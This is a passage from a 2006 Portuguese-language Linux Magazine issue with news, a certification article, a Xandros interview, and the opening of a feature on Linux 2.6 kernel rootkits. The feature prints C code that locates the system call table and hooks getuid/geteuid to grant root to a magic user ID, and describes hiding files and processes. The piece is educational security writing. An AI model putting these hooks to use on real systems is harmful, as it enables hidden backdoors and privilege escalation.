Segundo a Panda Software, essa versão foi projetada “para atender às demandas de segurança específicas desse sistema operacional”. “Existe a crença de que o Linux é um sistema operacional completamente seguro. Porém, isso não é de todo verdade”, afirma Ricardo Bachert, CEO da Panda Software Brasil. “Isto faz com que muitos usuários não utilizem qualquer tipo de proteção para essas máquinas“, afirma o executivo. O programa é proprietário, mas está sendo distribuído gratuitamente. O download (pacotes .RPM e .DEB) pode ser feito em http://www.pandasoftware.com.br.

➧ Parceria entre Mandriva Conectiva e Vexx A Mandriva Conectiva, uma das principais fabricantes do Linux no mundo, firmou uma parceria com a Vexx Telecomunicações e Informática para a venda de computadores com Mandriva Linux 2006 pré-instalado, a partir de agosto. O sistema operacional será personalizado para as máquinas da Vexx, e a compra do equipamento incluirá o suporte por parte da Mandriva Conectiva. O produto terá como alvo as pequenas e médias empresas, principalmente nos estados do Paraná (sede de ambas as empresas) e São Paulo, além de participar do programa Computador para Todos, do governo federal, já que a empresa está habilitada a participar do projeto. O presidente da Mandriva Conectiva do Brasil, Jaques Rosenzvaig, afirmou ver as parcerias OEM como uma tendência mundial, e acredita que o produto ajudará a disseminar o Linux no Brasil. ■

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

23


Certificações Linux

CORPORATE

Prática certificada A experiência é insubstituível, mas como o mercado está cada vez mais exigente, um certificado pode ser decisivo na escolha de um talento. Talento, por exemplo, para liderar projetos grandes, com restrições de tempo e orçamento, em ambientes altamente críticos. por Bruno Gomes Pessanha

O

equilíbrio entre teoria e prática deve existir para que o profissional de TI consiga suprir as demandas do negócio de uma empresa. Em um desses lados, a certificação profissional hoje se adapta ao meio corporativo. Dessa forma, os principais certificadores profissionais do mundo criam novos exames. Entre todas as versões comerciais do Linux, a Red Hat tem o mais popular programa de certificados. Com três níveis de certificação, a empresa continua a ganhar reconhecimento com os certificados Red Hat Certified Technician (RHCT), entry-level, o já bem conhecido e respeitado Red Hat Certified Engineer (RHCE) e o novo Red Hat Certified Architect (RHCA). Todos são baseados no Red Hat Enterprise, com provas práticas – em laboratório com simulação de troubleshooting e tarefas administrativas – e teóricas. Abaixo uma descrição de cada um: ➧ Red Hat Certified Technician (RHCT) – Essa é para os que desejam tirar sua primeira certificação. Com conteúdo básico e com menor nível de complexidade para resolução de problemas (troubleshooting). ➧ Red Hat Certified Engineer (RHCE) – O profissional RHCE tem experiência em instalação, configuração e troubleshooting de sistemas e redes Red Hat Enterprise. ➧ Red Hat Certified Architect (RHCA) – O RHCA, certificação mais nova e cobiçada da Red Hat, avalia profissionais seniores que trabalham com design de infra-estrutura de TI e gerenciamento de grandes e complexos ambientes Linux.

Todo o processo de criação dos exames é formatado por técnicas de profissionais da área que validam cada questão.

Henk L – www.sxc.huv

O Linux Professional Institute, também conhecido como LPI, foi criado por Dan York em Toronto (Canadá) e se tornou reconhecido internacionalmente por algumas características únicas, entre elas a neutralidade e o modo de desenvolvimento baseado nos princípios colaborativos. Qualquer interessado pode acompanhar o processo de desenvolvimento dos exames. Todo o conteúdo é baseado no Linux Standard Base (LSB) e abrange o núcleo de qualquer distribuição Linux. Dessa forma, o conhecimento mensurado pode ser aplicado em qualquer distribuição que possa ser considerada um “Linux legítimo”. O programa de certificação inclui três níveis: ➧ LPIC Level 1 – Candidatos que desejam se tornar LPIC1 devem passar em dois exames: 101, focado em gerenciamento de sistemas Linux, e o 102, com foco no gerenciamento de redes. ➧ LPIC Level 2 – Esse nível intermediário também exige que os candidatos passem em dois exames e o LPIC1 é pré-requisito. A prova 201 e 202 são equivalentes às provas do nível 1, mas com maior nível de complexidade. ➧ LPIC Level 3 – Esse é o nível sênior do LPI, ainda em desenvolvimento. O candidato deve passar nas provas 301 e 302, além de já possuir o LPIC2 (leia adiante sobre o processo de desenvolvimento desse exame). Pela primeira vez o LPI está oferecendo certificações para uma distribuição específica, Ubuntu, e para um banco de dados, MySQL 5.0 (com o grau de Developer and Database Administrator). Ambos exames serão oferecidos na próxima Linux World Expo, em San Francisco, a partir do dia 15 de agosto, e preenchem uma demanda grande no mercado de certificações. Algumas outras sugestões atualmente sendo analisadas pelo LPI são certificações de clustering (performance/disponibilidade), administração de storage, segurança, além de Perl e LAMP para desenvolvedores. Para a distribuição Suse há atualmente apenas a certificação CLP (Novell Certified Linux Professional). Mas, em agosto, será lançada a certificação premium do SUSE, o CLE (No-

http://supertuxbr.blogspot.com 24

http://www.linuxmagazine.com.br


Artigo | CORPORATE

Tópicos exigidos no LPIC3 Área de Conhecimento

Software

Tópicos Gerais

Autenticação e Serviço de Diretório (301)

OpenLDAP, Kerberos, nss_ldap etc

➧ Conceito e arquitetura ➧ Design de diretório ➧ Replicação entre sites ➧ Migração de NIS para LDAP ➧ Whitepages ➧ Integração com Samba ➧ Tuning de performance ➧ Desenvolvimento de scripts utilizando o módulo Net::LDAP Perl

Servidores de Arquivo e Impressão (302)

Samba, Kerberos, Heartbeat

➧ Conceitos do protocolo SMB/CIFS; ➧ Integração e configuração de diferentes clientes CIFS ➧ Administração avançada de recursos compartilhados ➧ Integração com Kerberos ➧ Troubleshooting e tracing avançado ➧ Clustering

vell Certified Linux Engineer). Todos baseados no produto SUSE Linux Enterprise Server e exigindo cada vez mais do profissional de perfil sênior.

LPI Nível 3

O LPIC3 é uma certificação para administradores de nível sênior na qual pode-se exigir do candidato conhecimentos sobre gerenciamento de projetos de migração Linux, teoria sobre o protocolo utilizado e troubleshooting avançado. Aqui o foco são os profissionais que têm experiência em ambientes heterogêneos e de missão crítica. Por exemplo, o administrador não deve saber apenas como criar um servidor Samba, deve também conhecer detalhes do protocolo SMB/CIFS em um nível onde esse conhecimento sólido possa se reverter em um troubleshoot rápido e preciso, em um ambiente de produção com milhares de usuários exigentes conectados simultaneamente a seu servidor. Todo o processo de criação dos exames é formatado por técnicas de psicometria, onde profissionais da área validam cada questão elaborada em um nível ideal de eficiência na medição do conhecimento. Os dois primeiros exames serão baseados nas seguintes áreas: ➧ 301 – Autenticação e Serviço de Diretório. ➧ 302 – Servidores de Arquivo e Impressão. Esses exames estão sendo suportados e desenvolvidos por vários profissionais ao redor do mundo com as mais diversas experiências com migração e implantação em grandes ambientes, inclusive por membros desenvolvedores das equipes do Samba e OpenLDAP. Será necessário passar nos exames 301 e 302 atualmente disponíveis para obter o Linux Professional Institute Certified Level 3. Futuramente, com um número maior de áreas específicas, esses exames serão eletivos.

Nos meses de outubro e novembro, os candidatos poderão se inscrever para as versões beta dos exames em eventos préselecionados. Janeiro de 2007 é a previsão para o lançamento do nível 3 da certificação LPI em todo o mundo. Sobre o desenvolvimento do LPIC3 (por exemplo, como colaborar com conteúdo) e demais informações podem ser obtidas no wiki do projeto oficial. ■

Mais Informações [1] LP: http://www.lpi.org [2] Certificação Red Hat: https://www.redhat.com/training [3] Certificação Novell/SuSE: http://www.novell.com/training/certinfo/ [4] Grupo de estudos: http://br.groups.yahoo.com/group/lpi [5] Livro “LPI Linux Certification in a Nutshell”, da O’Reilly, atualizado de acordo com os novos exames e cobrindo as provas de nível 1 e 2:

http://www.oreilly.com/catalog/lpicertnut2/ [6] Artigo sobre as provas de nível 1: http://www.examcram2.com [7] Versão de estudo para o LPI do projeto Foca Linux: http:// focalinux.cipsga.org.br/download-lpi.html [8] Wiki oficial do projeto de desenvolvimento da certificação LPI nível 3: https://group.lpi.org/cgi-bin/ publicwiki/view/Examdev

O autor Bruno Gomes Pessanha trabalha pela Sun Microsystems na Petrobrás como Analista de Suporte Linux/Unix e é co-autor do livro “LPI Linux Certification in a Nutshell”, da O’Reilly.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

25


CORPORATE | Entrevista

Entrevista com James Largotta

CORPORATE

Xandros no Brasil Por ocasião da primeira Linux World Conference & Expo no Brasil, James Largotta, executivo-sênior da Xandros Inc., em entrevista exclusiva para a Linux Magazine, falou sobre o início das operações da companhia canadense – “herdeira” do famoso Corel Linux – no Brasil. Largotta, que está na Xandros praticamente desde a fundação da empresa, tem como desafio expandir os seus negócios em toda a América Latina. por Rafael Peregrino da Silva

O que você pode nos dizer sobre a criação de uma subsidiária da Xandros Inc. aqui no Brasil? James Largotta » Que a Xandros realmente vai ter um escritório próprio aqui no Brasil. Nós estamos finalizando o processo de locação em São Paulo. Linux Magazine »

LM » Qual é a estratégia para o mercado

brasileiro e latino-americano? JL » Em primeiro lugar, a Xandros entende a necessidade de fazer ajustes em seus produtos de acordo com as necessidades locais – não é o mercado que deve se ajustar aos produtos da empresa. Nós estamos trabalhando atualmente na nacionalização do nosso produto desktop para o português do Brasil e, em uma segunda fase, devemos fazê-lo também para o servidor – sem contar toda a documentação, que também será traduzida. A nossa estratégia é entrar no mercado de educação, no mercado para o usuário final e no PC para todos, oferecendo aos usuários o acesso a uma solução Linux que seja ao mesmo tempo fácil de usar e de baixo custo. A Xandros lançou há pouco um produto voltado para o mercado de servidores. Fale um pouco a respeito. JL » O novo sistema para servidores é muito interessante. Nós o disponibilizamos no início de maio deste ano, e ele está recebendo críticas muito positivas em análises efetuadas em todo o mundo. Nós estamos com diversos clientes em potencial aqui no Brasil por conta desse sucesso, que estão querendo fazer projetos-piloto com o Xandros Server – o Supremo Tribunal Federal, em Brasília, algumas universidades do Nordeste do Brasil e uma grande empresa do mercado de varejo, cujo nome eu ainda não posso citar. LM »

Qual é a estratégia de desenvolvimento por trás do servidor? JL » Nós procuramos desenvolvê-lo de modo que fosse facilmente administrável por profissionais de TI que não tenham nenhuma intimidade com o ambiente operacional do Linux. Mais que isso: nós o projetamos para que qualquer profissional que já tenha administrado um sistema seja capaz de administrar o servidor. Nosso objetivo durante o desenvolvimento tinha uma premissa ainda mais ambiciosa: se alguém for capaz de usar um computador, mesmo sem ser profissional de TI, há boas chances de ele conseguir administrar o Xandros Server. LM »

LM » Qual será a estratégia para construir

uma malha de suporte técnico no país? Isso ocorrerá através de parcerias? Qual o papel do canal nessa estratégia? JL » Com a abertura da nossa subsidiária brasileira, nós estaremos a partir de agora intensificando nossos esforços em todas essas áreas no país. No início, teremos profissionais de nossos escritórios nos EUA alocados para trabalhar aqui, bem como brasileiros, que já trabalhavam na empresa, voltando para o país em posições-chave. Eu, pessoalmente, também estarei trabalhando aqui. Obviamente, nós também já estamos trabalhando na construção de parcerias com empresas brasileiras. No que tange a revendas e a suporte, nós estamos conversando com a comunidade Debian – que é a base do nosso produto – de modo a poder oferecer o tipo de suporte de que os usuários necessitam. Nossa idéia é construir aqui no Brasil uma estrutura similar àquela de que a empresa dispõe nos EUA ou no Canadá. Assim, o Brasil abrigará a matriz da Xandros para a América Latina. Para isso, nós também iremos contratar pessoal da comunidade local.

Quanto está sendo investido para abrir a subsidiária brasileira? JL » Estamos investindo milhões de dólares nessa empreitada. Para dar uma idéia do que investimos anualmente apenas em desenvolvimento, hoje esse número está na casa dos 9 milhões de dólares. LM »

O que levou a empresa a querer entrar no mercado somente agora? JL » Eu sempre soube que o mercado brasileiro é forte. Eu acho que o momento agora é propício porque o Linux finalmente passou a ser aceito como uma alternativa real a outros sistemas operacionais. O sistema passou a ser visto pelo mercado como uma solução mais confiável, segura e mais acessível economicamente. Fornecedores de soluções Linux estão sendo finalmente levados a sério e seus produtos e soluções em geral estão muito mais robustos atualmente. LM »

LM »

E como encarar a competição?

JL » Oferecendo uma excelente usabilidade

e reduzindo a complexidade da operação! O usuário precisa se sentir confortável com a operação do sistema, seja ele um especialista ou um iniciante. LM » A Xandros tem a intenção de traba-

lhar com dispositivos embarcados?

JL » Nós acabamos de criar uma solução

para terminais leves, que poderá ser usada em pontos-de-venda (PDVs), call centers etc. Nós já acertamos alguns projetos-piloto com algumas empresas durante a LinuxWorld Conference & Expo. LM »

Uma mensagem para os leitores?

JL » Nós estamos com grandes planos para

o futuro no Brasil e estamos conversando com diversas comunidades de desenvolvimento no país para criar as soluções em Linux de que o mercado necessita. ■

http://supertuxbr.blogspot.com 26

http://www.linuxmagazine.com.br


Busca por segurança

Proteção ativa D

as criações demoníacas na história dos crimes eletrônicos, os rootkits estão entre as mais inventivas. Um rootkit é um conjunto de ferramentas para o intruso de rede. Um invasor que consegue acesso a um computador pode fazer o upload do rootkit e usá-lo para ganhar o controle do sistema. Um aspecto interessante é a possibilidade de o rootkit encobrir os sinais da invasão. Versões retrabalhadas dos utilitários comuns como netstat e ps escondem qualquer vestígio do ataque. Muitos rootkits já foram transferidos para muitos computadores pelo mundo. Por isso, desenvolvedores e especialistas em segurança foram se tornando mais ativos contra as formas de ação dos rootkits no espaço do usuário. Experts aprenderam a detectar a presença invasora usando ferramentas-padrão Unix que evidenciam mudanças no sistema. Mas, ao invés de desistirem, os invasores partiram para algo novo e mais ousado.

Rootkit: Arma Secreta Apparmor: Armadura segura SELinux: Acesso sob controle Comparativo: AppArmor x SELinux ModSecurity: Cão de guarda

CAPA

Rootkits, exploração de vulnerabilidades, “buracos” no servidor web… Felizmente, há tantas formas de invasão quanto de proteção. por Joe Casad

O rootkit de kernel é uma ferramenta de invasão de nova geração, que se entrelaça com o sistema Linux em um nível bastante profundo – abaixo do alcance das ferramentas de detecção do espaço do usuário. Armados dessa maneira, invasores ganharam de novo a vantagem, pelo menos temporariamente. O kernel 2.6 implementou diversas novidades que tornaram bem mais difícil a ação de rootkits de kernel. Mas a batalha realmente acabou? Nesta edição, o especialista em segurança Amir Alsbih mostra como ainda é preciso se preocupar com rootkits de kernel no Linux 2.6. Seu artigo contém uma visão prática de como um rootkit desse tipo poderia atuar e como seria sua aparência.

Proteção

Mas nem todas as inovações estão vindo dos black hats. Também analisamos os dois principais sistemas de segurança do tipo MAC (Mandatory Access Control) para Linux: o AppArmor e o SELinux. Com eles, um intruso que explora uma vulnerabilidade para tentar ganhar acesso a uma máquina Linux pode nunca conseguir os privilégios necessários para efetivar a tomada de controle. O especialista em segurança Ralf Spenneberg mostra como proteger seu sistema tanto com o AppArmor, projeto patrocinado pela Novell, quanto com com o SELinux, a ferramenta escolhida pela Red Hat para seus sistemas operacionais. Além disso, desenvolvedores das duas empresas detalham os custos e benefícios de cada opção. Também vamos abordar como usar o módulo mod_security do servidor web Apache para servir conteúdo dinâmico de forma segura. ■

28 34 38 42 46

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006


Rootkits para o kernel Linux 2.6

Arma secreta CAPA

Os rootkits atuais infiltram-se nos sistemas alvo no nível do kernel, e assim evitam a atenção indesejada dos administradores. Leia mais para uma visão prática de como um rootkit de kernel realmente funciona. por Amir Alsbih

D

epois que um ataque compromete um alvo, o próximo passo é estabelecer uma base fixa. Qualquer atacante experiente vai tentar passar despercebido dos administradores de sistema e usuários curiosos. Existem diversas ferramentas para ajudar usuários infiltrados a cobrir seus vestígios. Os rootkits escondem processos, conexões de rede e arquivos dos administradores, e ao mesmo tempo garantem ao atacante o acesso à vítima por uma backdoor. Até poucos anos atrás, hackers tentavam manipular programas instalados para montar um rootkit. Uma versão do netstat com um cavalo de tróia embutido conseguiria esconder as conexões estabelecidas pelo hacker, enquanto um ps igualmente alterado poderia ocultar processos ilegais. Como um ataque normal envolve a substituição de um grande número de utilitários, rapidamente surgiram rootkits especiais que rodam como usuários normais. Tais kits, que incluem diversos programas manipulados, são facilmente instalados por atacantes. A maioria dos rootkits também inclui backdoors e ferramentas populares entre hackers, como o IRC Bouncer. Do ponto de vista de um hacker, rootkits de usuário apresentam uma desvantagem principal: uma simples comparação da soma MD5 contra o arquivo original revelaria a sabotagem. E não nos esqueçamos que programas especiais de busca,

conhecidos como caçadores de rootkits, rapidamente descobrem alvos afetados. Outro problema é que a influência do hacker fica restrita às ferramentas manipuladas: qualquer software instalado, como o lsof, por exemplo, ou ferramentas em meios somente leitura (CD-ROM) continuam intactas, o que restringe a possibilidade do rootkit usuário de se esconder e sobreviver.

Kernel dinâmico

Um rootkit que manipula o kernel tem muito mais controle sobre o sistema. O kernel serve dados de sistema para processos que, por sua vez, entregam esses dados ao usuário ou administrador. A partir da versão 2.2, o kernel Linux carrega módulos de kernel para ceder a administradores a capacidade de carregar drivers e outros códigos em tempo de execução, evitando assim a recompilação do kernel. Rootkits de kernel geralmente permitem que esse vetor de ataque execute código diretamente no espaço do kernel [2], apagando os dados que um atacante teria que esconder antes mesmo que estes cheguem ao espaço de usuário. O rootkit desta forma engana todos os programas do sistema que estiverem rodando, independentemente de terem sido instalados antes ou após a invasão, e sem se importar com as bibliotecas contra as quais foram linkados.

Os atuais rootkits de kernel, programados com grande habilidade, são praticamente mestres do disfarce. Nem ferramentas de sistema normais, nem ferramentas forenses mais antigas conseguem detectar a manipulação.

Abordagens para a implementação Os hackers já identificaram várias abordagens para manipular o kernel e assim implementar um rootkit de kernel: ➧ Substituir chamadas de sistema individuais por versões manipuladas (syscall table patching); ➧ Inserir uma nova tabela de chamadas de sistema; ➧ Mudar ponteiros nas estruturas dos sistemas de arquivos raiz e proc (Virtual File System [VFS] Patching [3]); ➧ Modificação direta das estruturas de código do kernel. Curiosamente, as técnicas dos rootkits não são inteiramente restritas aos black hats (os hackers “do mal”). Na realidade, administradores de sistema podem beneficiar-se da habilidade de analisar e monitorar sistemas com o uso de ferramentas como o Kstat [4] ou módulos como o Saint Jude [5]. Outros módulos como o Sebek [6] são ainda mais parecidos com rootkits, embora sirvam para objetivos bastante úteis na indústria da segurança.

http://supertuxbr.blogspot.com 28

http://www.linuxmagazine.com.br


Rootkits | CAPA

O problema com o kernel 2.6 O kernel Linux 2.6 causou drásticas mudanças a autores de rootkits. À exceção do Adore-NG [7], não existem rootkits disponíveis para o kernel atual, tanto benignos quanto malignos por natureza. O motivo é que kernels mais antigos utilizam símbolos para exportar a tabela de chamadas de sistema, tornando mais fácil modificar tais chamadas, enquanto o Linux 2.6 mantém esses endereços em segredo. Um hacker precisaria dispor dos seguintes recursos para alterar uma chamada de sistema: ➧ O código-fonte do kernel e os arquivos criados durante a compilação; ➧ um link simbólico de /lib/modules/ versão_do_kernel/build para /usr/src/ versão_do_kernel; ➧ um kernel.conf correspondente; ➧ um makefile para o rootkit; Usuários da distribuição Gentoo têm essa tarefa facilitada, já que a arquitetura do Gentoo fornece tudo isso.

Aplicativo

Aplicativo

Libc

Libc

Chamadas do sistema

Kernel Figura 1

A tabela de chamadas de sistema A tabela de chamadas de sistema define a interface entre o espaço de usuário e o espaço do kernel (figura 1). Uma tabela de chamadas de sistema contém os endereços de todas as chamadas de sistema. A biblioteca C padrão assegura que as chamadas de sistema necessárias ocorram em tempo de execução, enquanto o kernel efetivamente executa as chamadas.

Saída interpretada

Input

Chamadas de sistema oferecem uma interface entre programas de espaço de usuário e o kernel. A biblioteca C faz um wrap do processo em funções simples de biblioteca.

O programa de espaço de usuário então processa e interpreta os valores retornados pelas chamadas de sistema. As chamadas de sistema que o Linux oferece ficam guardadas no arquivo /usr/ src/linux/include/asm/unistd.h. O unistd. h lista 293 chamadas com suas posições na tabela, como por exemplo a chamada read na posição 3.

Original e falsificado

O princípio de um rootkit de kernel é facilmente explicado com o uso do programa ls como exemplo. O programa depende fundamentalmente da chamada de sistema sys_getdents64. Ele retorna os arquivos e subdiretórios presentes no diretório especificado. O valor retornado por Getdents64 é processado pelo ls

Tabela 1: Chamadas de sistema básicas Chamada de sistema

Descrição

int sys_fork()

Usada para fazer fork de um programa. O rootkit Override [1] usa essa chamada de sistema para esconder todos os processos iniciados por um processo oculto.

int sys_getuid(); int sys_setuid(uid_t 101)

Lê ou especifica o ID do usuário para o valor 101. Isso permite que um rootkit confira privilégios de superusuário a um ID de usuário específico, mudando seu ID para 0.

int sys_chdir (const char* /usr/share)

Entra no diretório /usr/share. No rootkit Override isto é usado como um switch oculto que impede que caçadores de rootkits entrem nos diretórios proc criados pelos processos ocultos.

int sys_rmdir (const char* /meudir); int sys_ mkdir (const char* /meudir, int modo) int sys_open (const char* arquivo, int modo); int sys_close (unsigned int descritor_arquivo) int sys_read (unsigned int descritor_arquivo, char* buffer, unsigned int numérico); int sys_write (unsigned int descritor_arquivo, char* buffer, unsigned int numérico) int sys_getdents (unsigned int descritor_arquivo, struct dirent* /meudir, unsigned int número)

Apaga ou cria o diretório /meudir Abre ou fecha o arquivo arquivo Lê e grava o arquivo apontador por descritor_arquivo

Lista os arquivos do diretório /meudir. Programas modernos usam Getdents64 no lugar dessa chamada.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

29


CAPA | Rootkit

e mandado para a saída padrão. Um kernel sem patches (figura 2) retornará os arquivos _R00t.txt e R00tbackdoor.sh criados por um atacante. Compare isso com o sistema comprometido mostrado na figura 3, no qual um atacante alterou a tabela de chamadas de sistema. A nova chamada My_getdents64 chama a rotina Getdents64 original. A My_getdents64 então manipula os valores retornados pela Getdents64, retirando arquivos com nomes que comecem com _R00t, por exemplo. Depois, a biblioteca C entrega os resultados manipulados ao ls. O programa processa os dados e joga para a saída padrão os resultados. Os arquivos criados pelo atacante ficam dessa forma omitidos da lista.

Encontrando a tabela de chamadas de sistema Antes que um rootkit possa comprometer uma chamada de sistema, ele precisa encontrar a tabela de chamadas de sistema. Uma abordagem simples, porém eficiente,

Exemplo 1: Encontrando a tabela de chamadas de sistema 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

int get_sct() { unsigned long *ptr; ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); while((unsigned long )ptr < (unsigned long)init_mm.end_data) { if ((unsigned long *)*ptr == (unsigned long *)sys_close) { #ifdef DEBUG printk (KERN_INFO” -> matching detected at %p\n”, ptr); #endif if ( (unsigned long *)*((ptr-__NR_close)+__NR_read) == (unsigned long *) sys_read && *((ptr-__NR_close)+__NR_open) == (unsigned long) sys_open) { sys_call_table = (void **) ((unsigned long *)(ptr-__NR_close)); break; } } ptr++; } #ifdef DEBUG printk (KERN_INFO”sys_call_table base found at: %p\n”, sys_call_table); #endif if (sys_call_table == NULL) { return -1;} else { return 1; } return -1; }

Amir.txt _R00t.txt _R00tbackdoor.sh firewall.sh Executa Programa

Saída

ls −la Invoca chamada do sistema

getdents64

Interpretação

Valor de retorno da chamada do sistema

Amir.txt _R00t.txt _R00tbackdoor.sh firewall.sh Figura 2

é buscar o segmento de dados inteiro. O rootkit Override verifica cada endereço de memória no segmento de dados em busca da tabela de chamadas de sistema (exemplo 1). O laço while, na linha 5, itera através de todos os endereços que se encaixem nesse requisito. A busca usa duas chamadas de sistema (como Open, Close e Read) do conjunto total de símbolos do kernel exportados como candidatos a teste. Os endereços das chamadas de sistema são conhecidos (exportados). Os números que pertencem às tabelas de sistema são listados como constantes em /usr/src/linux/include/asm/unistd. h: __NR_open, __NR_close e __NR_read. A linha 6 no exemplo 1 verifica se o endereço de sys_close() está no endereço testado no momento. Só para ter certeza, a rotina busca outras duas entradas da tabela de chamadas de sistema. A linha 10 usa o índice da tabela para calcular o endereço da entrada sys_read(). A linha 11 compara os conteúdos para ter certeza de que ele encontrou o endereço da chamada de sistema que faz a leitura. As linhas 12 e 13, por sua vez, fazem o mesmo para a função de abertura de arquivo. Se as três entradas baterem, a linha 15 calcula o endereço do início da tabela de chamadas de sistema. Senão, a linha 19 incrementa o ponteiro. [1]

Um sistema saudável terá como saída os conteúdos do diretório (em cima, à direita) quando um usuário executar o comando ls -la. Para fazer isso, o programa usa a chamada de sistema Getdents64 e interpreta os valores de retorno.

Chamadas-alvo de sistema

Agora que já sabemos o endereço da tabela de chamadas de sistema, o rootkit não tem mais limites. O desenvolvedor pode rodar o strace [8] para descobrir quais chamadas de sistema precisa manipular para enganar um programa específico. A ferramenta lista todas as chamadas de siste-

http://supertuxbr.blogspot.com 30

http://www.linuxmagazine.com.br


Rootkits | CAPA

ma usadas por um processo. O exemplo dá uma idéia da saída para o programa id. Esse programa mostra os IDs real e efetivo de um usuário, além dos grupos a que ele pertence: 2

Amir.txt firewall.sh

uid=500(grid-knight) gid=1000(master) ➥ groups=19(cdrom),27(video),1003(auditor)

A saída do strace é mandada para a saída de erro padrão, stderr. A primeira linha do exemplo 1 indica que a chamada execve() é usada. No entanto, a chamada de sistema simplesmente executa o programa /usr/ bin/id. Um número de chamadas Open e Read revela quais arquivos o id usa. Mas em nosso caso, as chamadas getuid32() e getgid32() são mais interessantes, já que retornam os IDs de usuário e grupo atuais. O id usa a chamada Write (última linha) para mostrar os resultados na linha de comando. O descritor de arquivo 1 (primeiro parâmetro) normalmente aponta para a saída padrão.

Identidade forjada

Executa programa

Amir.txt

ls −la

firewall.sh Valor retornado final

Invoca chamada do sistema

Manipulação

my_getdents64

Valor de retorno da chamada do sistema Chamada de sistema original

getdents64

Amir.txt _R00t.txt _R00tbackdoor.sh firewall.sh

Figura 3

Num sistema comprometido, a chamada de sistema mostrada na figura 2 chama uma versão do My_getdents64 com um cavalo de tróia embutido, que chama a Getdents64 original, manipula seus valores de retorno, e passa esses valores para o usuário do programa.

A chamada de sistema getuid32() é um alvo muito desejado pelos rootkits. Uma variante comprometida poderia retornar um ID de 0 para um usuário com ID real de 6666, conferindo-lhe assim privilégios de superusuário. Não há maneiras de manipular os arquivos de sistema (/etc/passwd e /etc/shadow) para atingir esse objetivo; os dados da conta podem ter sido originados até mesmo num servidor NIS ou LDAP. Até um administrador cuidadoso, que verifica regularmente os bancos de dados de usuários, deixará passar essa farsa. Para substituir a chamada de sistema original pela sua implementação particular, nós só precisamos inserir o novo endereço na tabela de chamadas de sistema. O exemplo 3 mostra o código para a função my_getuid(). As próximas linhas salvam o endereço da rotina original como org_getuid e sobrescrevem o ponteiro para a tabela: org_getuid=sys_call_table[__NR_getuid32]; (void *)sys_call_table[__NR_getuid32]= (void *) my_getuid;

A linha 3 do código no exemplo 3 aciona a chamada de sistema original para descobrir o ID de usuário verdadeiro e depois compara o valor de retorno com a constante MAGIC_UID (que poderia ter o valor de 6666). Se os dois valores forem iguais, a linha 5 especifica o ID de usuário do processo atual para 0 e retorna esse valor. Em todos os outros casos, a função my_getuid() simplesmente retorna o valor original de retorno. As linhas 11 a 19 mostram uma abordagem semelhante para o ID de usuário efetivo.

Switches ocultos

Saída

Esconder processos e portas é um pouco mais complicado. Em vez de embutir os valores no rootkit, nosso código de exemplo usa switches ocultos na chamada de sistema chdir(). Quando o usuário (normalmente o invasor) sai de um diretório para outro secreto e fictício (dentro do /dev/, por exemplo), o rootkit captura a ação e oculta um processo.

Exemplo 2: Saída do comando strace 01 02 03 04 05 06 07 08 09 10

execve("/usr/bin/id", ["id"], [/* 53 vars */]) = 0 uname({sys="Linux", node="localhost", ...}) = 0 open("/dev/urandom", O_RDONLY) = 3 read(3, "\10Y\vh", 4) = 4 close(3) = 0 geteuid32() = 500 getuid32() = 500 getegid32() = 1000 getgid32() = 1000 write(1, "uid=500(grid-knight) gid=1000(master)...)

Exemplo 3: Chamada de sistema com um cavalo de tróia embutido 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 20

int my_getuid() { int ret; ret = org_getuid(); if (ret == MAGIC_UID) { current->uid = 0; return 0; } return ret; } int my_geteuid() { int ret; ret = org_geteuid(); if (ret == MAGIC_UID) { current->euid = 0; return 0; } return ret; }

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

31


CAPA | Rootkit

Em qualquer outro caso, uma chamada normal à função chdir() é executada. A chamada chdir, modificada do exemplo 4, primeiro verifica (na linha 5) se o usuário quer mudar para o diretório /proc e, se for o caso, verifica também se o usuário selecionou um dos processos ocultos lá guardados (linhas 9 a 15). Se esta condição for satisfeita, o rootkit impede que isso aconteça, retornando o valor -1. Isso engana os caçadores de rootkit que tentam todos os IDs de pro-

Exemplo 4: Switch oculto

cesso listados em /proc/IDs e os compara Se for pedido, o código das linhas 24 à tabela de processos. a 45 lista os processos ocultos. Um laço Cinco comparações com switches itera contra uma lista de processos a ser ocultos são realizadas, e uma ação es- oculta. Se ele encontrar uma entrada pecial é ativada se o caminho começar diferente de 0, o find_task_by_pid() da com um switch pré-definido. As linhas linha 37 encontra a estrutura de tarefas do processo específico (definido em /usr/ 18 a 20 adicionam à lista de processos o ID de processo que foi acrescentado ao include/linux/sched.h). A linha seguinte caminho virtual pelo atancante. As três grava o PID e seu respectivo nome de linhas seguintes apagam todas as entradas. comando, task.comm, numa área da meAs linhas 46 a 51 contêm o código para mória do kernel. A chamada a copy_to_ user() transfere essa área para o espaço ocultar e revelar portas de rede. de usuário, e uma org_write() joga seu conteúdo na saída padrão através do descritor de arquivo 1.

